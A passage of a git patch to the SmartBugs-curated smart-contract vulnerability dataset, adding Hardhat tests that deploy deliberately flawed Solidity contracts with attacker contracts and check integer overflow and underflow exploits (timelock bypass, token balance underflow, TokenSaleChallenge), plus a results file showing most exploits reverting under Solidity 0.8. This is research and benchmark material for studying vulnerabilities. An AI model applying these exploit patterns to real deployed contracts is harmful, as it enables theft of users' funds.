attacker}; + } + + + it('exploit overflow vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + const attacker_addr = await attacker.getAddress(); + expect(await victim.balances(attacker_addr)).to.equal(0); + expect(await victim.lockTime(attacker_addr)).to.equal(0); + + const amount = ethers.parseEther("1.0"); + const options = {value: amount}; + + await attacker.deposit(options); + + expect(await victim.balances(attacker_addr)).to.equal(amount); + let lockTime = await victim.lockTime(attacker_addr); + expect(lockTime).to.greaterThan(0); + const attackerBalanceBefore = await ethers.provider.getBalance( + attacker_addr + ); + + expect(attackerBalanceBefore).to.equal(0); + await attacker.attack(); + lockTime = await victim.lockTime(attacker_addr); + expect(lockTime).to.equal(0); + + await attacker.withdraw(); + const attackerBalanceAfter = await ethers.provider.getBalance( + attacker_addr + ); + expect(attackerBalanceAfter).to.equal(amount); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/token_test.js b/smartbugs-curated/0.8.x/test/arithmetic/token_test.js new file mode 100644 index 0000000..bc181f8 --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/token_test.js @@ -0,0 +1,34 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/token.sol', function () { + let to_address; + async function deployContracts() { + const randomPrivateKey = ethers.Wallet.createRandom().privateKey; + + to_address = ethers.computeAddress(randomPrivateKey); + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/token.sol/Token.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const Token = await ethers.getContractFactory(json.abi, json.bytecode); + const victim = await Token.deploy(1); + await victim.waitForDeployment(); + const address = await victim.getAddress(); + + const TokenAttacker = await ethers.getContractFactory('contracts/arithmetic/token_attack.sol:TokenAttacker'); + const attacker = await TokenAttacker.deploy(address); + await attacker.waitForDeployment(); + return {victim, attacker}; + } + + + it('exploit underflow vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + const attacker_addr = await attacker.getAddress(); + expect(await victim.balanceOf(attacker_addr)).to.equal(0); + await attacker.attack(to_address); + expect(await victim.balanceOf(attacker_addr)).to.greaterThan(0); + expect(await victim.balanceOf(to_address)).to.equal(1); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/tokensalechallenge_test.js b/smartbugs-curated/0.8.x/test/arithmetic/tokensalechallenge_test.js new file mode 100644 index 0000000..19b6924 --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/tokensalechallenge_test.js @@ -0,0 +1,44 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/tokensalechallenge.sol', function () { + async function deployContracts() { + const TokenSaleChallengeAttacker = await ethers.getContractFactory('contracts/arithmetic/tokensalechallenge_attack.sol:TokenSaleChallengeAttacker'); + const attacker = await TokenSaleChallengeAttacker.deploy(); + await attacker.waitForDeployment(); + const address = await attacker.getAddress(); + + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/tokensalechallenge.sol/TokenSaleChallenge.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const TokenSaleChallenge = await ethers.getContractFactory(json.abi, json.bytecode); + const victim = await TokenSaleChallenge.deploy(address, { value: ethers.parseEther('1') }); + await victim.waitForDeployment(); + + return {victim, attacker}; + } + + + it('exploit buy overflow vulnerability line 23', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + const victim_addr = await victim.getAddress(); + const attacker_addr = await attacker.getAddress(); + + expect(await victim.balanceOf(attacker_addr)).to.equal(0); + const options = {value: 0}; + await attacker.attack_buy(victim_addr, options); + expect(await victim.balanceOf(attacker_addr)).to.greaterThan(0); + }); + + it('exploit the catch the ether vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + const victim_addr = await victim.getAddress(); + const attacker_addr = await attacker.getAddress(); + + expect(await victim.balanceOf(attacker_addr)).to.equal(0); + const options = {value: 0}; + await attacker.attack_complete(victim_addr, options); + expect(await victim.isComplete()).to.be.true; + }); + }); \ No newline at end of file From fad91dc290cf80c0be8a38ee1a9b75c4f77cdedc Mon Sep 17 00:00:00 2001 From: Monica Jin Date: Thu, 17 Oct 2024 14:50:52 +0200 Subject: [PATCH 2/2] add results for arithmetic tests --- smartbugs-curated/0.8.x/test-results.json | 150 ++++++++++++++++++++++ 1 file changed, 150 insertions(+) create mode 100644 smartbugs-curated/0.8.x/test-results.json diff --git a/smartbugs-curated/0.8.x/test-results.json b/smartbugs-curated/0.8.x/test-results.json new file mode 100644 index 0000000..4da8c9f --- /dev/null +++ b/smartbugs-curated/0.8.x/test-results.json @@ -0,0 +1,150 @@ +{ + "totalTests": 18, + "passingTests": 2, + "failingTests": 16, + "totalFiles": 13, + "passingFiles": 0, + "failingFiles": 13, + "testResults": [ + { + "title": "exploit overflow vulnerability", + "file": "arithmetic/BECToken_test.js", + "contractFile": "arithmetic/BECToken.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at BecToken.batchTransfer (contracts/dataset/arithmetic/BECToken.sol:264)\n at BecTokenAttacker.attack (contracts/arithmetic/BECToken_attack.sol:15)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/BECToken_test.js:29:7)" + }, + { + "title": "sanity check: arithmetic/integer_overflow_1.sol", + "file": "arithmetic/integer_overflow_1_test.js", + "contractFile": "arithmetic/integer_overflow_1.sol", + "state": "passed" + }, + { + "title": "exploit overflow vulnerability", + "file": "arithmetic/integer_overflow_1_test.js", + "contractFile": "arithmetic/integer_overflow_1.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at Overflow.add (contracts/dataset/arithmetic/integer_overflow_1.sol:14)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.add (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/integer_overflow_1_test.js:46:7)" + }, + { + "title": "exploit overflow vulnerability", + "file": "arithmetic/integer_overflow_add_test.js", + "contractFile": "arithmetic/integer_overflow_add.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at IntegerOverflowAdd.run (contracts/dataset/arithmetic/integer_overflow_add.sol:17)\n at IntegerOverflowAddAttacker.attack (contracts/arithmetic/integer_overflow_add_attack.sol:17)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/integer_overflow_add_test.js:25:7)" + }, + { + "title": "sanity check: arithmetic/integer_overflow_mapping_sym_1.sol", + "file": "arithmetic/integer_overflow_mapping_sym_1.js", + "contractFile": "arithmetic/integer_overflow_mapping_sym_1.js", + "state": "passed" + }, + { + "title": "exploit overflow vulnerability", + "file": "arithmetic/integer_overflow_mapping_sym_1.js", + "contractFile": "arithmetic/integer_overflow_mapping_sym_1.js", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at IntegerOverflowMappingSym1.init (contracts/dataset/arithmetic/integer_overflow_mapping_sym_1.sol:16)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.init (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/integer_overflow_mapping_sym_1.js:56:7)" + }, + { + "title": "exploit underflow vulnerability", + "file": "arithmetic/integer_overflow_minimal_test.js", + "contractFile": "arithmetic/integer_overflow_minimal.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at IntegerOverflowMinimal.run (contracts/dataset/arithmetic/integer_overflow_minimal.sol:17)\n at IntegerOverflowMinimalAttacker.attack (contracts/arithmetic/integer_overflow_minimal_attack.sol:16)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/integer_overflow_minimal_test.js:27:7)" + }, + { + "title": "exploit overflow vulnerability", + "file": "arithmetic/integer_overflow_mul_test.js", + "contractFile": "arithmetic/integer_overflow_mul.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at IntegerOverflowMul.run (contracts/dataset/arithmetic/integer_overflow_mul.sol:17)\n at IntegerOverflowMulAttacker.attack (contracts/arithmetic/integer_overflow_mul_attack.sol:14)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/integer_overflow_mul_test.js:26:7)" + }, + { + "title": "exploit underflow vulnerability", + "file": "arithmetic/integer_overflow_multitx_multifunc_feasible_test.js", + "contractFile": "arithmetic/integer_overflow_multitx_multifunc_feasible.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at IntegerOverflowMultiTxMultiFuncFeasible.run (contracts/dataset/arithmetic/integer_overflow_multitx_multifunc_feasible.sol:25)\n at IntegerOverflowMultiTxMultiFuncFeasibleAttacker.attack (contracts/arithmetic/integer_overflow_multitx_multifunc_feasible_attack.sol:15)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/integer_overflow_multitx_multifunc_feasible_test.js:26:7)" + }, + { + "title": "exploit underflow vulnerability", + "file": "arithmetic/integer_overflow_multitx_onefunc_feasible_test.js", + "contractFile": "arithmetic/integer_overflow_multitx_onefunc_feasible.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at IntegerOverflowMultiTxOneFuncFeasible.run (contracts/dataset/arithmetic/integer_overflow_multitx_onefunc_feasible.sol:22)\n at IntegerOverflowMultiTxOneFuncFeasibleAttacker.attack (contracts/arithmetic/integer_overflow_multitx_onefunc_feasible_attack.sol:15)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/integer_overflow_multitx_onefunc_feasible_test.js:25:7)" + }, + { + "title": "exploit overflow vulnerability", + "file": "arithmetic/overflow_simple_add_test.js", + "contractFile": "arithmetic/overflow_simple_add.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at Overflow_Add.add (contracts/dataset/arithmetic/overflow_simple_add.sol:14)\n at Overflow_AddAttacker.attack (contracts/arithmetic/overflow_simple_add_attack.sol:18)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/overflow_simple_add_test.js:27:7)" + }, + { + "title": "exploit overflow add vulnerability", + "file": "arithmetic/overflow_single_tx_test.js", + "contractFile": "arithmetic/overflow_single_tx.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at IntegerOverflowSingleTransaction.overflowaddtostate (contracts/dataset/arithmetic/overflow_single_tx.sol:18)\n at IntegerOverflowSingleTransactionAttacker.attackOverflowAddToState (contracts/arithmetic/overflow_single_tx_attack.sol:14)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attackOverflowAddToState (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/overflow_single_tx_test.js:25:7)" + }, + { + "title": "exploit overflow mul vulnerability", + "file": "arithmetic/overflow_single_tx_test.js", + "contractFile": "arithmetic/overflow_single_tx.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at IntegerOverflowSingleTransaction.overflowmultostate (contracts/dataset/arithmetic/overflow_single_tx.sol:24)\n at IntegerOverflowSingleTransactionAttacker.attackOverflowMulToState (contracts/arithmetic/overflow_single_tx_attack.sol:20)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attackOverflowMulToState (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/overflow_single_tx_test.js:33:7)" + }, + { + "title": "exploit underflow vulnerability", + "file": "arithmetic/overflow_single_tx_test.js", + "contractFile": "arithmetic/overflow_single_tx.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at IntegerOverflowSingleTransaction.underflowtostate (contracts/dataset/arithmetic/overflow_single_tx.sol:30)\n at IntegerOverflowSingleTransactionAttacker.attackUnderflowToState (contracts/arithmetic/overflow_single_tx_attack.sol:25)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attackUnderflowToState (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/overflow_single_tx_test.js:40:7)" + }, + { + "title": "exploit overflow vulnerability", + "file": "arithmetic/timelock_test.js", + "contractFile": "arithmetic/timelock.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at TimeLock.increaseLockTime (contracts/dataset/arithmetic/timelock.sol:22)\n at TimeLockAttacker.attack (contracts/arithmetic/timelock_attack.sol:20)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/timelock_test.js:41:7)" + }, + { + "title": "exploit underflow vulnerability", + "file": "arithmetic/token_test.js", + "contractFile": "arithmetic/token.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at Token.transfer (contracts/dataset/arithmetic/token.sol:20)\n at TokenAttacker.attack (contracts/arithmetic/token_attack.sol:15)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/token_test.js:30:7)" + }, + { + "title": "exploit buy overflow vulnerability line 23", + "file": "arithmetic/tokensalechallenge_test.js", + "contractFile": "arithmetic/tokensalechallenge.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at TokenSaleChallenge.buy (contracts/dataset/arithmetic/tokensalechallenge.sol:23)\n at TokenSaleChallengeAttacker.attack_buy (contracts/arithmetic/tokensalechallenge_attack.sol:11)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack_buy (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/tokensalechallenge_test.js:30:7)" + }, + { + "title": "exploit the catch the ether vulnerability", + "file": "arithmetic/tokensalechallenge_test.js", + "contractFile": "arithmetic/tokensalechallenge.sol", + "state": "failed", + "error": "VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)", + "stack": "Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)\n at TokenSaleChallenge.buy (contracts/dataset/arithmetic/tokensalechallenge.sol:23)\n at TokenSaleChallengeAttacker.attack_buy (contracts/arithmetic/tokensalechallenge_attack.sol:11)\n at TokenSaleChallengeAttacker.attack_complete (contracts/arithmetic/tokensalechallenge_attack.sol:15)\n at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:446:41)\n at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)\n at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)\n at Proxy.attack_complete (node_modules/ethers/src.ts/contract/contract.ts:352:16)\n at Context. (test/arithmetic/tokensalechallenge_test.js:41:5)" + } + ] +} \ No newline at end of file